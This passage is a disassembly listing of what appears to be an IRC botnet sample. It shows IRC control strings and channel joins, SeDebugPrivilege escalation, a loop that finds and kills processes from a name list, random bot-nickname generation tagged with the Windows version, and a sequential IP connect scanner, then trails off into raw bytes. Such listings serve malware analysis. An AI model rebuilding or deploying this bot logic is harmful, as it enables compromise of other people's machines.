[ebp+var_C4] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] call sub_40B26F push edi push esi push offset a_e_1_0bEnz__39 ; ".e.(1.0b) ( enz.m.d.l ) .. *Failed p"... loc_412217: ; CODE XREF: sub_40CC09+567Ej lea eax, [ebp+var_1C4] push eax call sub_413812 add esp, 30h jmp loc_410457 ; --------------------------------------------------------------------------- loc_41222B: ; CODE XREF: sub_40CC09+55D5j mov [ebp+arg_24], offset off_42A3F0 loc_412232: ; CODE XREF: sub_40CC09+5645j mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_413617 pop ecx test eax, eax pop ecx jnz short loc_412289 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_42A3F4 jl short loc_412232 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] call sub_40B26F lea eax, [ebp+var_C4] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] call sub_40B26F push edi push esi push offset a_e_1_0bEnz__40 ; ".e.(1.0b) ( enz.m.d.l ) .. *Failed h"... jmp short loc_412217 ; --------------------------------------------------------------------------- loc_412289: ; CODE XREF: sub_40CC09+5638j mov edi, [ebp+arg_18] xor esi, esi loc_41228E: ; CODE XREF: sub_40CC09+56AFj cmp [ebp+arg_0], ebx jz loc_40CFCD cmp [edi], bl jnz short loc_4122AE push [ebp+arg_0] push offset aHi_0 ; "hi" call sub_413C30 pop ecx test eax, eax pop ecx jz short loc_4122BF loc_4122AE: ; CODE XREF: sub_40CC09+5690j inc esi add edi, 80h cmp esi, 2 jl short loc_41228E jmp loc_40CFCD ; --------------------------------------------------------------------------- loc_4122BF: ; CODE XREF: sub_40CC09+56A3j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_994] push 7Fh push eax push esi call sub_415140 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4122F6 push ebx push [ebp+var_4] push offset a_e_1_0bEnz__41 ; ".e.(1.0b) ( enz.m.d.l ) .. Password "... push [ebp+var_8C] push [ebp+arg_4] call sub_40B2B5 add esp, 14h loc_4122F6: ; CODE XREF: sub_40CC09+56D1j lea eax, [ebp+var_C4] push eax push offset a_e_1_0bEnz__42 ; ".e.(1.0b) ( enz.m.d.l ) .. User: %s "... jmp loc_40D1B6 ; --------------------------------------------------------------------------- loc_412307: ; CODE XREF: sub_40CC09+20Ej ; sub_40CC09+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_40B26F push offset aXI ; "+x+i" push [ebp+arg_10] push offset aModeSS ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_40B26F push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40B26F add esp, 2Ch mov dword_7420F0, edi jmp loc_40CEA6 sub_40CC09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41234D proc near ; CODE XREF: sub_4086DF+7p ; sub_4123B8+5Fp ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call ds:off_41F0F0 push eax call dword_44CCC0 ; OpenProcessToken test eax, eax jnz short loc_41236C leave retn ; --------------------------------------------------------------------------- loc_41236C: ; CODE XREF: sub_41234D+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_44CC9C ; LookupPrivilegeValueA test eax, eax jz short loc_4123AA cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_412393 or [ebp+var_8], 2 jmp short loc_412397 ; --------------------------------------------------------------------------- loc_412393: ; CODE XREF: sub_41234D+3Ej and [ebp+var_8], 0FFFFFFFDh loc_412397: ; CODE XREF: sub_41234D+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_44CD44 ; AdjustTokenPrivileges mov esi, eax loc_4123AA: ; CODE XREF: sub_41234D+32j push [ebp+var_4] call ds:dword_41F058 ; CloseHandle mov eax, esi pop esi leave retn sub_41234D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4123B8 proc near ; CODE XREF: sub_40CC09+4321p ; sub_4125E7+74p ... var_454 = dword ptr -454h var_450 = byte ptr -450h var_334 = byte ptr -334h var_230 = byte ptr -230h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 454h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_44CCFC, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_450] mov [ebp+var_454], ebx rep stosd jz loc_4125B7 cmp dword_44CCE0, ebx jz loc_4125B7 cmp dword_44CC0C, ebx jz loc_4125B7 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41234D pop ecx pop ecx push ebx push 0Fh call dword_44CCFC ; CreateToolhelp32Snapshot mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_4125AA lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_44CCE0 ; Process32First mov esi, ds:dword_41F058 test eax, eax jz loc_4125A5 lea eax, [ebp+var_130] push eax push edi call dword_44CC0C ; Process32Next test eax, eax jz loc_4125A5 mov edi, ds:dword_41F11C mov ebx, 1F0FFFh loc_41247C: ; CODE XREF: sub_4123B8+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_4124E3 mov [ebp+var_4], offset off_434618 loc_41248A: ; CODE XREF: sub_4123B8+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax call ds:off_41F13C test eax, eax jz short loc_4124B2 add [ebp+var_4], 4 cmp [ebp+var_4], offset aI11r54n4_exe ; "i11r54n4.exe" jl short loc_41248A jmp loc_41258B ; --------------------------------------------------------------------------- loc_4124B2: ; CODE XREF: sub_4123B8+E6j push [ebp+var_128] push 0 push ebx call edi ; OpenProcess test eax, eax mov [ebp+var_4], eax jz loc_41258B push 0 push eax call ds:off_41F138 test eax, eax jnz loc_41258B loc_4124D9: ; CODE XREF: sub_4123B8+1B9j push [ebp+var_4] call esi ; CloseHandle jmp loc_41258B ; --------------------------------------------------------------------------- loc_4124E3: ; CODE XREF: sub_4123B8+C9j cmp [ebp+arg_C], eax jnz loc_412576 cmp [ebp+arg_4], eax jz loc_41258B push [ebp+var_128] push 8 call dword_44CCFC ; CreateToolhelp32Snapshot cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_454], 224h jz short loc_412536 lea ecx, [ebp+var_454] push ecx push eax call dword_44CBBC ; Module32First push [ebp+var_128] test eax, eax jz short loc_41253C lea eax, [ebp+var_334] jmp short loc_412542 ; --------------------------------------------------------------------------- loc_412536: ; CODE XREF: sub_4123B8+15Cj push [ebp+var_128] loc_41253C: ; CODE XREF: sub_4123B8+174j lea eax, [ebp+var_10C] loc_412542: ; CODE XREF: sub_4123B8+17Cj push eax lea eax, [ebp+var_230] push offset aSD_0 ; " %s (%d)" push eax call sub_413812 add esp, 10h lea eax, [ebp+var_230] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B2B5 add esp, 14h jmp loc_4124D9 ; --------------------------------------------------------------------------- loc_412576: ; CODE XREF: sub_4123B8+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_413C30 pop ecx test eax, eax pop ecx jz short loc_4125BE loc_41258B: ; CODE XREF: sub_4123B8+F5j ; sub_4123B8+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_44CC0C ; Process32Next test eax, eax jnz loc_41247C xor ebx, ebx loc_4125A5: ; CODE XREF: sub_4123B8+9Dj ; sub_4123B8+B3j push [ebp+var_8] call esi ; CloseHandle loc_4125AA: ; CODE XREF: sub_4123B8+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41234D pop ecx pop ecx loc_4125B7: ; CODE XREF: sub_4123B8+3Aj ; sub_4123B8+46j ... xor eax, eax loc_4125B9: ; CODE XREF: sub_4123B8+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4125BE: ; CODE XREF: sub_4123B8+1D1j push [ebp+var_128] push 0 push ebx call edi ; OpenProcess push [ebp+var_8] mov edi, eax call esi ; CloseHandle push 0 push edi call ds:off_41F138 test eax, eax jnz short loc_4125E2 push edi call esi ; CloseHandle jmp short loc_4125B7 ; --------------------------------------------------------------------------- loc_4125E2: ; CODE XREF: sub_4123B8+223j push 1 pop eax jmp short loc_4125B9 sub_4123B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4125E7 proc near ; DATA XREF: sub_40CC09+4EF1o var_198 = byte ptr -198h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 198h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_437164 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_198] push eax call sub_413812 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_412646 push esi lea eax, [ebp+var_198] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40B2B5 add esp, 14h loc_412646: ; CODE XREF: sub_4125E7+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_4123B8 add esp, 18h test eax, eax jnz short loc_41266E push offset unk_437128 jmp short loc_412673 ; --------------------------------------------------------------------------- loc_41266E: ; CODE XREF: sub_4125E7+7Ej push offset unk_4370F0 loc_412673: ; CODE XREF: sub_4125E7+85j lea eax, [ebp+var_198] push eax call sub_413812 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_4126A6 push esi lea eax, [ebp+var_198] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40B2B5 add esp, 14h loc_4126A6: ; CODE XREF: sub_4125E7+9Dj lea eax, [ebp+var_198] push eax call sub_409833 push [ebp+var_14] call sub_4135DA pop ecx pop ecx push esi call ds:off_41F040 pop edi pop esi sub_4125E7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4126C5 proc near ; CODE XREF: sub_40CC09+42C3p ; sub_4133F9+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call ds:dword_41F11C ; OpenProcess mov esi, eax test esi, esi jz short loc_4126F7 push 0 push esi call ds:off_41F138 test eax, eax jnz short loc_4126F7 push esi xor edi, edi call ds:dword_41F058 ; CloseHandle loc_4126F7: ; CODE XREF: sub_4126C5+1Aj ; sub_4126C5+27j mov eax, edi pop edi pop esi retn sub_4126C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4126FC proc near ; DATA XREF: sub_40C2D0+3D7o push esi xor esi, esi loc_4126FF: ; CODE XREF: sub_4126FC+1Ej push 1 push esi push esi push esi push esi push esi call sub_4123B8 add esp, 18h push dword_434614 call ds:dword_41F050 ; Sleep jmp short loc_4126FF sub_4126FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41271C proc near ; CODE XREF: sub_4041D7+63p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call sub_41386E mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul ds:dbl_41F660 call sub_4140D0 sub esi, eax mov eax, esi pop esi leave retn sub_41271C endp ; =============== S U B R O U T I N E ======================================= sub_41274C proc near ; CODE XREF: sub_412AB7+49p ; DATA XREF: .data:off_4371A8o var_C = dword ptr -0Ch arg_0 = dword ptr 4 push esi push edi call ds:dword_41F044 ; GetTickCount push eax call sub_413864 mov edi, [esp+0Ch+arg_0] mov [esp+0Ch+var_C], offset aCc ; "Cc-" push offset aS_2 ; "%s" push 1Ch push edi call sub_413D8A xor esi, esi add esp, 10h cmp dword_42A338, esi jle short loc_4127A5 loc_41277F: ; CODE XREF: sub_41274C+57j call sub_41386E push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call sub_413D8A add esp, 14h inc esi cmp esi, dword_42A338 jl short loc_41277F loc_4127A5: ; CODE XREF: sub_41274C+31j mov eax, edi pop edi pop esi retn sub_41274C endp ; =============== S U B R O U T I N E ======================================= sub_4127AA proc near ; CODE XREF: sub_40CC09+393Ap arg_0 = dword ptr 4 push ebx push esi push edi call ds:dword_41F044 ; GetTickCount push eax call sub_413864 pop ecx call sub_41386E push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_42A338 test esi, esi jle short loc_4127ED loc_4127D7: ; CODE XREF: sub_4127AA+41j call sub_41386E push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_4127D7 loc_4127ED: ; CODE XREF: sub_4127AA+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_4127AA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h call ds:dword_41F044 ; GetTickCount push eax call sub_413864 pop ecx lea eax, [ebp-8] mov esi, offset byte_437204 push eax push esi call ds:off_41F114 movsx eax, byte_437204 push 41h pop ecx push 1 pop edx loc_412833: ; CODE XREF: .text:0041283Ej cmp eax, ecx jnz short loc_41283A mov [ebp-4], edx loc_41283A: ; CODE XREF: .text:00412835j inc ecx cmp ecx, 5Bh jl short loc_412833 push 61h pop ecx loc_412843: ; CODE XREF: .text:0041284Ej cmp eax, ecx jnz short loc_41284A mov [ebp-4], edx loc_41284A: ; CODE XREF: .text:00412845j inc ecx cmp ecx, 7Bh jl short loc_412843 mov edi, [ebp+8] push esi push 1Ch push edi call sub_413D8A xor esi, esi add esp, 0Ch cmp dword_42A338, esi jle short loc_41288F loc_412869: ; CODE XREF: .text:0041288Dj call sub_41386E push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call sub_413D8A add esp, 14h inc esi cmp esi, dword_42A338 jl short loc_412869 loc_41288F: ; CODE XREF: .text:00412867j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call ds:dword_41F044 ; GetTickCount push eax call sub_413864 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call ds:off_41F140 mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_437208 push 1Ch push edi call sub_413D8A xor esi, esi add esp, 10h cmp dword_42A338, esi jle short loc_412904 loc_4128DE: ; CODE XREF: .text:00412902j call sub_41386E push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call sub_413D8A add esp, 14h inc esi cmp esi, dword_42A338 jl short loc_4128DE loc_412904: ; CODE XREF: .text:004128DCj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_438A10 mov dword ptr [ebp-94h], 94h call ds:off_41F0F8 call ds:dword_41F044 ; GetTickCount push eax call sub_413864 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_41298E cmp dword ptr [ebp-8Ch], 0 jnz short loc_41296E cmp dword ptr [ebp-84h], 1 jnz short loc_41295E mov esi, offset a95 ; "95" loc_41295E: ; CODE XREF: .text:00412957j cmp dword ptr [ebp-84h], 2 jnz short loc_4129CA mov esi, offset aNt ; "NT" jmp short loc_4129CA ; --------------------------------------------------------------------------- loc_41296E: ; CODE XREF: .text:0041294Ej cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_41297E mov esi, offset a98 ; "98" jmp short loc_4129CA ; --------------------------------------------------------------------------- loc_41297E: ; CODE XREF: .text:00412975j cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_4129C5 mov esi, offset aMe ; "ME" jmp short loc_4129CA ; --------------------------------------------------------------------------- loc_41298E: ; CODE XREF: .text:00412945j cmp dword ptr [ebp-90h], 5 jnz short loc_4129C5 cmp dword ptr [ebp-8Ch], 0 jnz short loc_4129A7 mov esi, offset a2k ; "2K" jmp short loc_4129CA ; --------------------------------------------------------------------------- loc_4129A7: ; CODE XREF: .text:0041299Ej cmp dword ptr [ebp-8Ch], 1 jnz short loc_4129B7 mov esi, offset aXp ; "XP" jmp short loc_4129CA ; --------------------------------------------------------------------------- loc_4129B7: ; CODE XREF: .text:004129AEj cmp dword ptr [ebp-8Ch], 2 mov esi, offset a2k3 ; "2K3" jz short loc_4129CA loc_4129C5: ; CODE XREF: .text:00412985j ; .text:00412995j mov esi, offset a??? ; "???" loc_4129CA: ; CODE XREF: .text:00412965j ; .text:0041296Cj ... mov edi, [ebp+8] push esi push offset aS_6 ; "[%s]|" push 1Ch push edi call sub_413D8A xor esi, esi add esp, 10h cmp dword_42A338, esi jle short loc_412A0E loc_4129E8: ; CODE XREF: .text:00412A0Cj call sub_41386E push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call sub_413D8A add esp, 14h inc esi cmp esi, dword_42A338 jl short loc_4129E8 loc_412A0E: ; CODE XREF: .text:004129E6j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412A14 proc near ; CODE XREF: sub_412AB7+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call ds:dword_41F044 ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_412A63 call dword_44CCE8 ; FindWindowA test eax, eax mov eax, offset off_437220 jnz short loc_412A4C mov eax, offset byte_438A10 loc_412A4C: ; CODE XREF: sub_412A14+31j push eax push esi push offset aDS ; "[%d]%s" lea eax, [ebp+var_1C] push 1Ch push eax call sub_413D8A add esp, 14h jmp short loc_412A83 ; --------------------------------------------------------------------------- loc_412A63: ; CODE XREF: sub_412A14+22j call dword_44CCE8 ; FindWindowA test eax, eax mov eax, offset off_437220 jnz short loc_412A77 mov eax, offset byte_438A10 loc_412A77: ; CODE XREF: sub_412A14+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_413812 pop ecx pop ecx loc_412A83: ; CODE XREF: sub_412A14+4Dj lea eax, [ebp+var_1C] push eax call sub_413E90 pop ecx cmp eax, 2 pop esi jbe short loc_412AB2 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_415310 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_415140 add esp, 18h loc_412AB2: ; CODE XREF: sub_412A14+7Dj mov eax, [ebp+arg_0] leave retn sub_412A14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412AB7 proc near ; CODE XREF: sub_40C929+7Fp ; sub_40CA91+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_4371A4 loc_412AC3: ; CODE XREF: sub_412AB7+3Fj cmp [ebp+arg_C], 0 jz short loc_412ADE lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_413C30 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_412AE8 ; --------------------------------------------------------------------------- loc_412ADE: ; CODE XREF: sub_412AB7+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_412AE8: ; CODE XREF: sub_412AB7+25j test eax, eax jnz short loc_412AFA add esi, 14h inc edi cmp esi, offset dword_437208 jl short loc_412AC3 jmp short loc_412B08 ; --------------------------------------------------------------------------- loc_412AFA: ; CODE XREF: sub_412AB7+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_4371A8[eax*4] pop ecx loc_412B08: ; CODE XREF: sub_412AB7+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_412B1B push [ebp+arg_0] call sub_412A14 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_412B1B: ; CODE XREF: sub_412AB7+57j mov eax, [ebp+arg_0] pop ebp retn sub_412AB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B20 proc near ; DATA XREF: sub_412BED+7Bo var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0B8h mov eax, [ebp+arg_0] push esi push edi push 2Ah pop ecx mov esi, eax lea edi, [ebp+var_B8] push 1 rep movsd pop esi mov [eax+0A4h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_413890 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_34] call dword_44CCDC ; ntohs mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_44CD58 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_412BDE lea eax, [ebp+var_10] push 10h push eax push esi call dword_44CC88 ; connect mov ecx, [ebp+var_2C] imul ecx, 134h cmp eax, 0FFFFFFFFh mov dword_452134[ecx], esi jz short loc_412BDE push [ebp+var_34] push [ebp+var_28] call dword_44CD64 ; inet_ntoa push eax mov edi, offset dword_7420F8 push offset unk_437224 push edi call sub_413812 push 0 lea eax, [ebp+var_B4] push [ebp+var_20] push edi push eax push [ebp+var_B8] call sub_40B2B5 push edi call sub_409833 add esp, 28h loc_412BDE: ; CODE XREF: sub_412B20+5Dj ; sub_412B20+7Ej push esi call dword_44CD70 ; closesocket pop edi xor eax, eax pop esi leave retn 4 sub_412B20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_412BED proc near ; DATA XREF: sub_40CC09+3176o var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 130h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Ah mov esi, ebx pop ecx lea edi, [ebp+var_B0] rep movsd mov esi, ds:dword_41F050 mov dword ptr [ebx+0A0h], 1 xor edi, edi loc_412C1B: ; CODE XREF: sub_412BED+ECj push [ebp+var_2C] push [ebp+var_20] call dword_44CD64 ; inet_ntoa push eax lea eax, [ebp+var_130] push offset unk_437260 push eax call sub_413812 lea eax, [ebp+var_130] push 0FEh push eax mov eax, [ebp+var_24] imul eax, 134h add eax, offset dword_452028 push eax call sub_415140 add esp, 1Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_B0] push edi push eax push offset sub_412B20 push edi push edi call ds:off_41F070 cmp eax, edi mov [ebp+var_4], eax jz short loc_412C87 loc_412C7C: ; CODE XREF: sub_412BED+98j cmp [ebp+var_C], edi jnz short loc_412C87 push 32h call esi ; Sleep jmp short loc_412C7C ; --------------------------------------------------------------------------- loc_412C87: ; CODE XREF: sub_412BED+8Dj ; sub_412BED+92j push [ebp+var_4] call ds:dword_41F058 ; CloseHandle push dword ptr [ebx+88h] mov [ebx+0A4h], edi call esi ; Sleep lea eax, [ebp+var_20] push 4 push eax lea eax, [ebp+arg_0] push eax call sub_4138F0 add esp, 0Ch push [ebp+arg_0] call dword_44CC20 ; ntohl inc eax push eax mov [ebp+arg_0], eax call dword_44CCD8 ; ntohl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax lea eax, [ebp+var_20] push eax call sub_4138F0 add esp, 0Ch jmp loc_412C1B sub_412BED endp ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; db 0ECh ; db 81h ; db 0ECh ; db 14h db 1 db 0 db 0 db 56h ; V db 57h ; W db 33h ; 3 db 0FFh db 39h ; 9 db 3Dh ; = db 0A8h ; db 0CDh ; db 44h ; D db 0 db 0Fh db 85h ; db 19h db 1 db 0 db 0 db 8Dh ; db 45h ; E db 0FCh ; db 0BEh ; db 2 db 0 db 0 db 80h ; db 50h ; P db 68h ; h db 1Fh db 0 db 2 db 0 db 57h ; W db 68h ; h db 60h ; ` db 0A4h ; db 42h ; B db 0 db 56h ; V db 0FFh db 15h db 48h ; H db 0CDh ; db 44h ; D db 0 db 85h ; db 0C0h ; db 75h ; u db 53h ; S db 66h ; f db 0A1h ; db 20h db 76h ; v db 43h ; C db 0 db 66h ; f db 89h ; db 45h ; E db 0FAh ; db 8Dh ; db 45h ; E db 0FAh ; db 50h ; P db 0E8h ; db 67h ; g db 11h db 0 db 0 db 59h ; Y db 50h ; P db 8Dh ; db 45h ; E db 0FAh ; db 50h ; P db 6Ah ; j db 1 db 57h ; W db 68h ; h db 14h db 76h ; v db 43h ; C db 0 db 0FFh db 75h ; u db 0FCh ; db 0FFh db 15h db 0 db 0CDh ; db 44h ; D db 0 db 85h ; db 0C0h ; db 74h ; t db 7 db 68h ; h db 0E0h ; db 75h ; u db 43h ; C db 0 db 0EBh ; db 5 db 68h ; h db 0B0h ; db 75h ; u db 43h ; C db 0 db 8Dh ; db 85h ; db 0ECh ; db 0FEh ; db 0FFh db 0FFh db 50h ; P db 0E8h ; db 0B6h ; db 0Ah db 0 db 0 db 59h ; Y db 59h ; Y db 0FFh db 75h ; u db 0FCh ; db 0FFh db 15h db 0B8h ; db 0CCh ; db 44h ; D db 0 db 0EBh ; db 13h db 8Dh ; db 85h ; db 0ECh ; db 0FEh ; db 0FFh db 0FFh db 68h ; h db 70h ; p db 75h ; u db 43h ; C db 0 db 50h ; P db 0E8h ; db 98h ; db 0Ah db 0 db 0 db 59h ; Y db 59h ; Y db 39h ; 9 db 7Dh ; } db 14h db 75h ; u db 1Ah db 6Ah ; j db 1 db 8Dh ; db 85h ; db 0ECh ; db 0FEh ; db 0FFh db 0FFh db 0FFh db 75h ; u db 10h db 50h ; P db 0FFh db 75h ; u db 0Ch db 0FFh db 75h ; u db 8 db 0E8h ; db 1Dh db 85h ; db 0FFh db 0FFh db 83h ; db 0C4h ; db 14h db 8Dh ; db 85h ; db 0ECh ; db 0FEh ; db 0FFh db 0FFh db 50h ; P db 0E8h ; db 8Ch ; db 6Ah ; j db 0FFh db 0FFh db 59h ; Y db 8Dh ; db 45h ; E db 0FCh ; db 50h ; P db 68h ; h db 3Fh ; ? db 0 db 0Fh db 0 db 57h ; W db 68h ; h db 78h ; x db 0A4h ; db 42h ; B db 0 db 56h ; V db 0FFh db 15h db 48h ; H db 0CDh ; db 44h ; D db 0 db 85h ; db 0C0h ; db 75h ; u db 47h ; G db 8Dh ; db 45h ; E db 0F8h ; db 6Ah ; j db 4 db 50h ; P db 6Ah ; j db 4 db 57h ; W db 68h ; h db 5Ch ; \ db 75h ; u db 43h ; C db 0 db 0FFh db 75h ; u db 0FCh ; db 0C7h ; db 45h ; E db 0F8h ; db 1 db 0 db 0 db 0 db 0FFh db 15h db 0 db 0CDh ; db 44h ; D db 0 db 85h ; db 0C0h ; db 74h ; t db 7 db 68h ; h db 10h db 75h ; u db 43h ; C db 0 db 0EBh ; db 5 db 68h ; h db 0CCh ; db 74h ; t db 43h ; C db 0 db 8Dh ; db 85h ; db 0ECh ; db 0FEh ; db 0FFh db 0FFh db 50h ; P db 0E8h ; db 16h db 0Ah db 0 db 0 db 59h ; Y db 59h ; Y db 0FFh db 75h ; u db 0FCh ; db 0FFh db 15h db 0B8h ; db 0CCh ; db 44h ; D db 0 db 0EBh ; db 1Ah db 68h ; h db 80h ; db 74h ; t db 43h ; C db 0 db 0EBh ; db 5 db 68h ; h db 40h ; @ db 74h ; t db 43h ; C db 0 db 8Dh ; db 85h ; db 0ECh ; db 0FEh ; db 0FFh db 0FFh db 50h ; P db 0E8h ; db 0F1h ; db 9 db 0 db 0 db 59h ; Y db 59h ; Y db 39h ; 9 db 7Dh ; } db 14h db 75h ; u db 1Ah db 6Ah ; j db 1 db 8Dh ; db 85h ; db 0ECh ; db 0FEh ; db 0FFh db 0FFh db 0FFh db 75h ; u db 10h db 50h ; P db 0FFh db 75h ; u db 0Ch db 0FFh db 75h ; u db 8 db 0E8h ; db 76h ; v db 84h ; db 0FFh db 0FFh db 83h ; db 0C4h ; db 14h db 8Dh ; db 85h ; db 0ECh ; db 0FEh ; db 0FFh db 0FFh db 50h ; P db 0E8h ; db 0E5h ; db 69h ; i db 0FFh db 0FFh db 39h ; 9 db 3Dh ; = db 0D0h ; db 0CDh ; db 44h ; D db 0 db 59h ; Y db 